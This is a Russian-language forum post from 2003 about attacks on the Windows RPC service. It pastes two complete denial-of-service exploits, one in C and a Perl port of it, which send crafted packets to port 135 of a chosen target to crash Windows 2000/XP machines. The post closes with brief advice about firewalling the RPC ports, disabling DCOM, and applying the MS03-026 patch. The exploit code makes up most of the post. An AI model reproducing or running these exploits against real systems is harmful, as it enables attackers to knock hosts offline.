Показать сообщение отдельно
Старый 12.08.2003, 20:00   #15
REmindER вне форума
REmindER
Гуру
 
Аватар для REmindER
 
Регистрация: 17.08.2002
Адрес: Израиль
Сообщений: 1 260
Сказал(а) спасибо: 0
Получено благодарностей: 1 в 1 посте
По умолчанию

Не бойся, eglantine. Дело в том, что кто-то очень злобный, видимо, сканит вашу зону прова и вызывает так называемый RPC сервис - Remote Procedure Call (Вызов удаленной процедуры). RPC - это технология, используемая при работе распределенных приложении и позволяющая приложению выполнять процедуры на другой машине в сети. Управление достается на уровне аутентификации путем использование специальных шелл-кодов. Даже приведу код эксплоита на СИ:
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
char sendcode1[] = "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\ x02\x00\x00\x00\xd0\x16\xd0\x16\x00\x00\x00\x00\x0 1\x00\x00\x00\x00\x00\x01\x00\x60\x9e\xe7\xb9\x52\ x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f\x02\x0 0\x02\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\ x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00\x05\x00\x0 0\x01\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\ x00\x20\x27\x01\x00\x00\x00\x02\x00\xf0\x00\x00\x0 0\x00\x00\x00\x00\xf0\x00\x00\x00";
char sendcode2[] = "\x88\x13\x00\x00\x00\x00\x00\x00\x88\x13\x00\x00" ;
char sendcode3[] = "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x0 0\x00\x00\x00\x00\x02\x00\x00";
char sendcode4[] = "\xfe\xff\x00\x00\x00\x00\x00\x00\xfe\xff\x00\x00\ x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3 d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x05\x00\x00\x00\x10\ x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00\x50\x1 0\x01\x00\x00\x00\x02\x00"; char sendcode5[] = "\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\ x8f\x00\x00\x00\x80\xf9\x00\x00\x00\x00\x02\x00"; char sendcode6[] = "\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\ x8f\x00\x00\x00\xb0\xe2\x00\x00\x00\x00\x02\x00"; char sendcode7[] = "\x05\x00\x00\x02\x10\x00\x00\x00\x60\x15\x00\x00\ x8f\x00\x00\x00\x60\x15\x00\x00\x00\x00\x02\x00"; char sendcode8[] = "\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00\x01\x10\ x00\x00";

int main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
char *targetip;
int port,bufsize;
SOCKET s;
char buffer[20480];
printf("========================= HUC Win2000/XP RPC Nuke V0.10 =======================\r\n");
printf("================= By Lion, Welcome to http://www.cnhonker.com =================\r\n\n");
if (argc < 2)
{
printf("Usage:\r\n");
printf(" %s <TargetIP> [TargetPort]\r\n", argv[0]);
printf("Example:\r\n");
printf(" %s 192.168.0.1\r\n", argv[0]);
printf(" %s 192.168.0.1 135\r\n", argv[0]);
printf("PS:\r\n");
printf(" If target is XP, try 2 times.\r\n");
exit(1);
}
wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;
targetip = argv[1];
port = 135;
if (argc >= 3) port = atoi(argv[2]); bufsize = 512;
if (argc >= 4) bufsize = atoi(argv[3]);
s = socket(AF_INET, SOCK_STREAM, 0); if(s==INVALID_SOCKET) { printf("Socket error!\r\n"); exit(1);
}
printf("Resolving Hostnames...\n");
if ((pTarget = gethostbyname(targetip)) == NULL)
{
printf("Resolve of %s failed, please try again.\n", argv[1]);
exit(1);
}
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);
printf("Connecting...\n");
if ( (connect(s, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf("Couldn&apos;t connect to host.\n"); exit(1);
}
printf("Connected!...\n");
printf("Sending Packets...\n");
if (send(s, sendcode1, sizeof(sendcode1)-1, 0) == -1)
{
printf("Error sending nuke Packets\r\n");
closesocket(s);
exit(1);
}
memset(&buffer, &apos;\x41&apos;, 240);
send(s, buffer, 240, 0);
send(s, sendcode2, sizeof(sendcode2)-1, 0);
memset(&buffer, &apos;\x42&apos;, 5000);
send(s, buffer, 5000, 0);
send(s, sendcode3, sizeof(sendcode3)-1, 0);
memset(&buffer, &apos;\x43&apos;, 512);
send(s, buffer, 512, 0);
send(s, sendcode4, sizeof(sendcode4)-1, 0);
memset(&buffer, &apos;\x44&apos;, 5000);
send(s, buffer, 5000, 0);
send(s, sendcode5, sizeof(sendcode5)-1, 0);
memset(&buffer, &apos;\x45&apos;, 5000);
send(s, buffer, 5000, 0);
send(s, sendcode6, sizeof(sendcode6)-1, 0);
memset(&buffer, &apos;\x46&apos;, 5000);
send(s, buffer, 5000, 0);
send(s, sendcode7, sizeof(sendcode7)-1, 0);
memset(&buffer, &apos;\x47&apos;, 5000);
send(s, buffer, 5000, 0);
send(s, sendcode8, sizeof(sendcode8)-1, 0);
memset(&buffer, &apos;\x48&apos;, 5000);
send(s, buffer, 5000, 0);
printf("Nuked! \r\nIf target is XP, try a again! :)\r\n");
closesocket(s);
WSACleanup();
return 0;
}

И даже нашел на Перле:

#!/usr/bin/perl
# MS WIN 2000/XP RPC DoS exploit
# by r3d_Dr4g0n [n-force group]
# mailto: r3d_dr4g0n@mail.ru # original code on C by lion

$sendcode1 = "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\ x02\x00\x00\x00". "\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00\ x00\x00\x01\x00". "\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\ x69\x01\x29\x3f". "\x02\x00\x02\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\ x9f\xe8\x08\x00". "\x2b\x10\x48\x60\x02\x00\x00\x00\x05\x00\x00\x01\ x10\x00\x00\x00". "\xd0\x16\x00\x00\x8f\x00\x00\x00\x20\x27\x01\x00\ x00\x00\x02\x00". "\xf0\x00\x00\x00\x00\x00\x00\x00\xf0\x00\x00\x00" ;
$sendcode2 = "\x88\x13\x00\x00\x00\x00\x00\x00\x88\x13\x00\x00" ;
$sendcode3 = "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\ x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\ x00\x02\x00\x00";
$sendcode4 = "\xfe\xff\x00\x00\x00\x00\x00\x00\xfe\xff\x00\x00\ x3d\x3d\x3d\x3d". "\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\ x3d\x3d\x3d\x3d". "\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\ x8f\x00\x00\x00". "\x50\x10\x01\x00\x00\x00\x02\x00";
$sendcode5 = "\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\ x8f\x00\x00\x00". "\x80\xf9\x00\x00\x00\x00\x02\x00"; $sendcode6 = "\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\ x8f\x00\x00\x00". "\xb0\xe2\x00\x00\x00\x00\x02\x00"; $sendcode7 = "\x05\x00\x00\x02\x10\x00\x00\x00\x60\x15\x00\x00\ x8f\x00\x00\x00". "\x60\x15\x00\x00\x00\x00\x02\x00"; $sendcode8 = "\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00\x01\x10\ x00\x00";
if(@ARGV < 1)
{
usage();
}
nukem($ARGV[0],$ARGV[1]);

sub nukem
{
use Socket;
my $remote = shift;
my $port = shift;
my($buffer,$paddr,$proto,$iaddr);
if(!defined($port))
{
$port=135
}
#$iaddr = inet_aton($remote) or die "Error: $!";
print "Resolving host...\n";
if(!($iaddr = gethostbyname($remote)))
{
print "Can&apos;t resolve $remote, please try again.\n";
#exit;
return 0;
}
$paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
$proto = getprotobyname(&apos;tcp&apos;) or die "Error: $!";
if(!socket(SOCK, PF_INET, SOCK_STREAM, $proto))
{
print "Socket error !\n";
#exit;
return 0;
}
print "Connecting...\n";
if(!connect(SOCK, $paddr))
{
print "Couldn&apos;t connect to host.\n";
#exit;
return 0;
}
print "Connected...\n";
print "Sending packets...\n";
if(!send(SOCK,$sendcode1,0))
{
print "Error sending nuke packets !\n";
#exit;
return 0;
}
$buffer = "\x41" x 240;
send(SOCK,$buffer,0);
send(SOCK,$sendcode2,0);
$buffer = "\x42" x 5000;
send(SOCK,$buffer,0);
send(SOCK,$sendcode3,0);
$buffer = "\x43" x 512;
send(SOCK,$buffer,0);
send(SOCK,$sendcode4,0);
$buffer = "\x44" x 5000;
send(SOCK,$buffer,0);
send(SOCK,$sendcode5,0);
$buffer = "\x45" x 5000;
send(SOCK,$buffer,0);
send(SOCK,$sendcode6,0);
$buffer = "\x46" x 5000;
send(SOCK,$buffer,0);
send(SOCK,$sendcode7,0);
$buffer = "\x47" x 5000;
send(SOCK,$buffer,0);
send(SOCK,$sendcode8,0);
$buffer = "\x48" x 5000;
send(SOCK,$buffer,0);
print "Nuked !\n";
close(SOCK);
return 1;
}

sub usage
{
$d = ":" x 23;
print $d."[ MS WIN 2000/XP RPC DoS Exploit ]".$d."\n";
print $d."[ by r3d_Dr4g0n ]".$d."\n";
print "Usage:\n"; print " $0 <Addr> [Port]\n";
print "Example:\n";
print " $0195.46.50.1\n";
print " $0195.46.50.1135\n";
print " $0 www.lame.com\n";
exit;
}

Дело в том, что RPC сервис слушается на портах TCP/UDP 135, 139, 445. Просто ставишь файрволл, которому указываешь, что на данный порт блокировать все обращения. Кроме того лучше еще бы и заблокировать работу модулей DCOM.

REmindER добавил(а) [date]1060710672[/date]:
Да, еще. На данные момент в системе RPC обнаружена ошибка Buffer Overrun In RPC Interface Could Allow Code Execution (823980), позволяющая на удаленной машине выполнить какой-либо программый код. Для решения этой проблемы выпустили патч. Ссылка: http://www.microsoft.com/technet/tre...n/ms03-026.asp
_______________________________________
...


Последний раз редактировалось REmindER; 12.08.2003 в 20:59.
  Ответить с цитированием